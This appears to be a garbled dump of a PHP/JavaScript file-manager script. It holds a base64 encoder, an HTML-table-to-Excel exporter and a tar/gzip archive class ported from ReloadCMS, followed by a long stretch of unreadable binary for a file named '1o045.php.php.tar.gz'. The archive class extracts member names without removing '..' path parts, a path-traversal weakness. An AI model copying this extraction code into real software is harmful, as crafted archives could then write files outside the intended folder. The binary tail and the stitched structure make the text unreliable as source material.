		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK!�r5�a�a1o045.php.php.tar.gznu�[������r�Ȳ د*��$K�H)��"%���(R���y5 	� A��5O����<�٘�͇�C�<�M��¹��_2���������3������������p
��n٩��7���&+܄g��]��0d�v?,�1���o9]����G�����t0�F��Cρh8a�?���V5NAM�3�w���'4�?����jL^yf�Ih�f�����o��?�,����0Y+�&����Ɍ$k�p�I\q͉���?]skm*+�M2�o=�w�:��C�'������zKNU��2BI��%
ey.�/��J���Z��>�ꋭ	���P�z�H�m��_�Ӿ�3nÑ�/FU�(c�iK�����o8�Ea�k������#M�;~z9z|�E�7S�8�?~aI�_�/�����FDE�=ZQ���
�S|Y�F��$As}�at�|qH�v(K/���	�R�'r��d����T�LE�v�hʚ�9h���«hP��@֦�����D�-5`|^�
�����Zot/i���X�4
�j�,8�U�S�S/3�Q+/� �^�/^f-�d/���������1�'y�`_H2v�H�ߋ����<��Q�-D�������k�}��<����蝩^��r�f��ݡ��w�\zՕ�p�0�	L�}w���7���-
T�E�K�,�&�i�4Qь����k4͇x�a Ny�wKY�\f��M�4���%Ӭ���<��S�A�8�Pq����(2}\��P�2�T+�N5sMhr
�8e�!��NRE�"`��S#x���Yᙽ�f�5}�rZ�23B�xF�
*3D|Y�3.�VT�Ž�@��꿳�1b~�n��é�A#�+��(��9����d��ud8iȋ�>��)Z*p=�	�ɋ%��0�#�J�,��	Ҁo�$��R�x���Ȣ_���m��=@��C�5��p*~�SFF�-o%�-H�ߖ%�����o�
��7��xſ�>u�S�JSYa�!]7x��uXw0�o{��d���w��^�8K��Jr�Vd<�T��.�,	���KC�}�:
���mT0��(� �q~�:d\�x�5���:ʔ	����-��zO�(�>@ʜ7Wα%x��
�m�������: 	���d���x�:j��n<�-_jh�AY���h��eX� ��@C�8;N�_����G	���q��f�1�s�d%�U�X��Yx@)����JY����P�:����?�
O=x'z
�1�N���u�h��jNe�C���yL���/�K9����z[rY�J[x����ũ����a�-(�|�:�s�C�����җ�G���Ék@���9ϣ�&=�ś�Dyi���(�Pk
��H�
�H>x���CEyĻ����,��"C���;*h�||e<�w�W(�l���p{����^��FF<�3VП�܉�.9m
m/���u����۹f�ҝ_��'F/����.���fn��Z��� �
�y�:��ꙓEp����^ ��@Z�|K㬓Pd9Erǂ��$.�
� �6�^dh���uD|!��n�'oǜ��eur��A��d��0�k4gQ�sh��$E���Y~��R(�"Ɇ���nrG�ݶ�R����ڻа�/����NC5q~E�1�i��
����1@��&���\!���
ꋴ^�0|� ��$�Z��L�ov�Z���ɖ��o'���ș}�5�S@f���8�u:8�vw
іij���R��iv�ݧ �t4��-LR�Eʂ�!�Og'e4d��3���L�q��ӕs�v�c�t2�{<o�d"e��Q2��娈M�`�8/*/ZH˜��2�3������Y�*�`LP�br�PIВ�����m�&f?H"�b�QQPO���P�4��8P��H��-
��jֳ��r62�����;�ĩ�jN#��,���TD3Ϙ�8�L
H
ڼ�P��Vl�����A�%Hc�L�NT�h&��=C!����I&��r㙋��K�i2�j����44F�6L���錠����ZB8ͭp�e�!V ����|�UaC� #�
f�$�e��븴�!{5ڍ]�h��g~c^e��+��6*��n�t:ٖ�f��y�hb�˶a��+�A�f���5>;Z��K*���Z/�T��Nr��P�3��S�t^ЬP��U��bb���FB����p5FӊN��\�S���)���;����`�����"3�4D#$��	2�D��\]�F�ZW�؜<������1l�0{��@�A�/8�Q����["Ɯ�ĘEo�3e�-�)pP1�&pXL#���v
h[��4�C��z�2�	/�N�|��Il�,�p[�DЦ�p7�&K6�K��nǂJ�^v��Hwa��T։$C��HJ��Γ��#�&�]�����A*�$�C^U��C$(rH}VT(b����T���u��K(�&�R��^6�-{���K��kfR�\=3�l�����dx�R//�b9��B�[#*�T�	�j�!u�������ӗ$�q~�����������/0�QS�/�˫��V4�:�v0T�0��p����9��9�>T�)?�3�fn}�1.L��1�����}I����Z;��+�#X��M.NK�:-����ɮ���5����I&��7���{}ea���oL~-a#�j]X*��ӘfCo���Y�n}�v��@7/�`qI@_ᵵ"1�T(���A*l,�]P�!��0�]�̦2#�)�+�X"T]�6x�hQ�I���}��B;ɟ��`�z�(_#Ԡ�9��d�{A�D�lP	�?/�Z�E�R�|Nh�xC*+�O��-8/Z[��s�}wJPea��f0��E���DA�[�3��x,ye��	�`K
�J����T�<W�K?[ڸ��h��PuB�@.Z�Wƿ��~7�L��d,۔�s^#�@�:�Z��<��2!����,
C��Hs;@�5�q`���O�"��Aݼ*j���@��l>g�%?D¤��5�a`�0��=v`�׀M`A������p�Ѐ	4`�/��RX�v`K+0�p[�K�V�]Ӣd6��JV�5���6l�@�Ru����8-��?N�n�S6eQ�=9N�S1���q3�5�v�!қ�"�������~�7���ބ�ӛ���teE��j�����7�s�	RD��z�jY{�J�{�xGY��y�-	�e�HB[4�b��3KnD��	��	���g���+*<�����aZ��)(E�%~KK `8E����o���_�E�h����qB�+��,3�v�p�8!Bkoa&Վ�'�im�/h�i/�JB��9F��]z-/w��)�5�9T�Hv�����6��x�#ը�p�cc��s�*t�-fP�i��.M�>�2�.M�S��3�0��HڢǓ�lXĨ0�M�5r)�����USϔ����႓Y��o����U��e8MC4X��;��L:P��/6�wf��0[�%��-�h��.��;�o�~9���v=m��
Z^<�x������Ȋ��u���1�8p��gk�yi�Mo�<l����
�Wcq�N]n|�@�d^��>I�R���뱼�%,/�P�Nl����Ø���;^��@@a�,�L4	Ei�S$����:�D
l�@�ҹu��D&]EY�qk�H�]�SY���{؀�τ�a�"kL^^K#*�{!�>"Φ�ik����������w�������ۚ���U� �NV��xi�
It3T-��ɣ��Q�څ�|L����wA�?{��R2ʬ��UQ��$�u�o��s�*
��]i�*�7 �v�����pὀ�
������ݺ�n����9�U#�������@k�h�M}ڲ�u�
�?yM��Z�6B��u������3GS��C2i���L¥�����/��g�`'$|�xu���5>]�x�<-٤2���r��m�Nq��U��~g�h	 ]�Z;�y�c_��k@�%�[be=��!<#��#�E�5踆E&�D� ��,�_"��2��;"�n}�'�����ͦ��\����ז჌/_�@�}�^���!����h�Ih�@h
"���!�Tѱ�}Иcf�9��nD�M�	�9�'�o�&�eҩ끪)fQ/�2HP���6�{��u����%��Ղ�)�
�1�\�!�z#(�y��u;���DϤ[�w���2}�t�J��bwE��b�9��Ή��t3�5�5<z�1��5AC����/8%)��#�:}��p�!�2&�#�L~�t|B�5�s&I�hX7H>��!m�=?��{�L���r��s=B�[e,����+�Z�E�t�
�8�:����k����K:?@��b0.@��sH�t�z�ɩ;�9oQK>�=)��% ��cb�mc�:�g��Nz���X�4������]�#.Tt0^�ʣ�	����0ؤ�q��H0��hS:��Y�bs�!�%;���5��>hW���ii��OŞI.��������K�fzp�L�%�3 cR[��"��<����O�������+�w��ho�+���ʻ��Ʒ�������w�7|Ǝ[�Ȓ*�#�=�@��Ց�W�	KŒ�9��D"T�5��<�J/�K����M�H�{���鈚D�‰��iO�gl(S=���@j�/��l�<(�����$5��;
6����K�������s��V���2M�$�Hv�#��8iHh4\�ӟ݄+�[f�GU�q�ş㫗9�1\9�䙾F�y�9?E��^�y��_D��'	�I����'�i�ĸ�{����=}&4�;�Ѡ]Y���uunn+��d�Zǝ�j�� �`�"�;eE�k�'ƛVI���W���1~V�:G��.��vt)�H��
�:
d�<�[^�`�CKy�8#G�kQ��5���j��,כ�z�LZի�?9����Lz�xu��!º�M�w~D�bh����ȩS8#ø`��s�,�u��/t\�_tÇ�kQ�E��$!�>���GL�@����$��vO�8�/��sPQ�h��"Š��E/�B��!�xsO���r��iU��
3JrQPnڞ� �MQ���i"�D~�vB���ͽ�9��� P��5�$9�3�6
7��䕮�ʹL����7�O������^ 5�G�I3� �N^�ȇ"ۨ�9�b��=��&�?�}Nx4F�V�����>;T�F.���&���0�K�֖nI�<�2E�rs��Z@����R<�V��9b��@�J3�h1�J�j��I�۹�˩��S͒����B��P�`�]�`�!��X�4U7Z�ټ_����{R��q�g����/ ��,$;�;���J9�w�wP�!��G7�c�^���Of)Đ*�	�{���%�nU_�4��r�V���W�:��g�� ���tM��l*�!�tK���<W\����f��p#� ���߇���_#ua$�v��׹�n4�*��.Z�kEL�ϒ,�09�W`�;e)#
�yҁ%�����3=k�as�ت�*���_���9��������+l>�mV_��H��a�J��8	;�@']��ā�C�:}�����ֈUBMj��K^N��+�ʉ�=z�/���"��c�[�ӂ.RUBj�~��E=�p?�;'�0-9��k�8���#�r#��C�|����Rs�#�u(�!��\(N����k��F7�3M��zE��"��
[f�G,-%�R*)i������j�8+�9=bw"�#dއt�ы�")x�[����,��^gr�kJ��lٵ�b��f��Jv��M��W��U�ԝR-�WW�33͞���m�i���\aX��k�h���6lŖ�"ar��`��H�,
a1y1���5b�d�E���wj'3@�ki*/x�)���mkQBZ�5/�����A����Lp�����
����gaeQVn��Fd6�$���ė��'!)pm�2���5a09I���1� ��Wn(4�ǧ� �L��K>�CMH<�AX����8{��K�K����`��j�H,eA"[4�������Z]�]r�8�]J�;2�^���6��Ra"�пJ�=͵'�)
��z&��r��h�C�0J�ڹT��+�n)ZG��F��o��q(��d��Z��A��hC��C�Vnzz��)%��-��B�n�l,�����:�!C��p����v���&Bd6AY��F�R:�ak�x��I;7�j�W͉��ᖪ�᭬���6;z�h[
��~�N�"%14^D�U��ƪى�L<�Yx����Ed�K�Y66���G��B�ႍ�YO�{��(�*�	�r�@p�xT����i�&�v�<��@Z,r9���i��S,;n����S7*UB��8��g��#�q)���
'M�7c��P}��B��-{ؙ���g<NZ1���`&<䊩Ь���m�6�����98����Cz���d��*�Yg�R���OD�9�><yֱ�t�)~y�Zr�ٸ�8V�6�V٘�ec�nG�٧E詜�«��y�>�!17��2뙡N�A�z�=��lLt���`&>�d���
�3yYm�e$�.n�ٗ*�U�9�W�Qv<��X�Ԥ�����n�k��jX��-։G��l�K���HgYOWQn�w�~��&V�vR�ծg=k�[uI; �d�B�О��Җ�"h><�����)0G���&ui�o�#-���R�n'?�A���\�7�W6}��=?��\~>>�Ŝ���#���L��n�mǡB�-�ꝺ�Vz�z����\�����YgY�7vOB.#hOJ������X暍�c0��
Ro�X��eY�J��$��
Mv\y��a���(u��7_�b�]}���+R�Ј&V�]�����V��o�7My��\mXYuا�h�b�%,Ѿ�����9X�w�r!ė�c1�N�g�X
�@���h�t��Tj�n��e�Z>{f��r����&��Su�4j�ga��r�NnT+�R[�6�U��(���ppzG2�ZVۦ2����w�=�>ӏ�v$��'�I2I�M,�)L<��*���XK�/�)?��Q�ɡ6���?�L�Ώ�r�Q1C�êI�p�$ۏ0��2�$I`�pc���V#�C������6)�ٜs����ʁE
ǡw	��j�#��v
!.�?�܀�.5����,%����hw�����5�ͪf�)�N�����IJλW`5�ů�Tl[��8zƕ�����K��h�@���p8��q��_��F7���/�F�U=���b�3��K��&ҴS=�^^@^!ã{�X��w��C���/�فl������h'�5x��Y���#ǩl|I�f������m`g?u�b~���꒓�M8�۶Cn��_V���6�W8�i�9sŇފE�
�9�����5��$J9'�p*lt��I��J��<>88�A^A{u������0�]X^/��B��
@S.���7���Cr��0�ȝ`��W�a_�[,�^�N�q�+Hl���ye���k}v�$D�Oַ[��Nw^H��@4����yp�}����P>k�4���4���1�ޠ;�t�Z��"�s���?Rڶ:q�;�:t�~d�+\��\������0�X��e9����l��+��p��~A�'���l�=?hq|��j]�J�(0�!�>��*�e]fO��
Ѐ���I�}4E���n�K��`̱��
�y)u��_���������c��_����g�z�O�������_�������+����������n)�ˏdq�6|�N�_���Bm)bg�����Ͼ�ɈC�i���J���st��B��!��w�L�,ds����J`WM���3�$}�j�k6�^�tc�9��d�BE#w�ѓC��'��6�6j�f�36��ӧp҈ps©kM�%p�vr�d� ���U����1D�3{k��"��]���c�I��^�	�4���0�:�Ov<Y�]�i�v�O���)i_�����d۳��h�[7(sD�f���G�G� A��K��)@J�xJfQ�7�*>��
�PX���	a�.��+��]��%fA_��Í�v��f�n���R�8��[�hl����j�$��ނ��[�{��]��[�93���V<4���5�6f��¨�l�6
�_��oj4zuxY}��.���Fg��3��!4,ÙpO� 	bMB[�=��z�^/�<�>�� �rV����r.*��(����o1��	��"�\��U�5�5���M�
J�:A_��'�7�|x?:U�����������s#�EL�c�{Uұ��7q�9d�m~VzC=󒎭0Ҧ�Q�n��]p9�FrH�	P8X��}+-1,)ǹ0�u��ho�8��ٹf�ص��Z��L� ��s��C�x
��L!�g����q<P��)��I6�O��e�eV�����cI�7���]髵���"!�95�~ky�d��Ⱥ�/r���J��-�i	�Q_ڍ"]h��=T����s�hZ�S�?W��݈����T�᢮��>Ѽ�;a.����	��Ohs��4'�,񳨓�-��i��:h��es�}L�,uA�=��A�1baI]s���η���Y:-�1ǎ�7S7sZ¼n�ā�N �i�;���]W�t�MZ�o�d#��0q�t�c��ř���C�9vt���36#X���z�EK�I�QkT��v�إ���u=�腙I��!�lF��5�+�*��+�r'���9�F8�S_�8Z�xmC�؁ ��xO3��)����{~I�"֫Я#G��7|���C=�_i+y>�����iA�]����~F�~{������8��.X���`cW�ƖF�D-n_oq<j�}{u��7
��Φ-b��Z�H�U��sFЃ���7Z�ܥ�
k1�d��I������ҫn4�-�߮X6�,�^&�|��L(Y���p��E��d���2�d���;<�v�.kI�D#q�	g��ْ����K�\vT�,��l���_��Fh

�� T�Ǝ "NV�垸U�
��^K�FOF�p�}ǐY�b��q�|�qf��!;Ӳ�Vo���ȕt�C:�'��2�t����'�s`q(]j�|���{}�����@ҍ33D�&��?6�q��E�!R�;`'��m���wVw<8�䔛	����ui23�5M^x�_2�H&�a��2��q���sb<��c&@�An��G�'��{AsG� �笓T�NJ3v��X�g�6�k�eM�aB�hI����s�}[��nkņ��h5�R88NO�<o�E��:e�硱��<�u�d����n���Hơ�NC�B^�T��P��(WkH
Fzq������I��2ޙLS����r��-W3�V�Z�K���o6�/H/�{���x-�k�Y�!�ʢb�[��|��A�F��nTZ�T��*�g\�m\���C�iG�E�i,kV��q��R��;���	�����'���������H$��9��/_�rG�v�L/CNa�B[0�������k��[ݐ�t��rp��1;�7V��v;=�‡�ÛM9�+H�O�o(�`J�͔W/;%�Dm�?%O����-�J����%?j��]۱�͘[�����ڸ�����KL�bs�	W~�ݚ�%'��-��
O,i#�#�n�~4�H�a���Xj^7l|g�����<��/�/D3�O1g*b�=Hm�6ňX�GÉH.�j�P��m�H��7�2�HDc�7+�=�����'r�n09?�{?���L8mD�U��{��
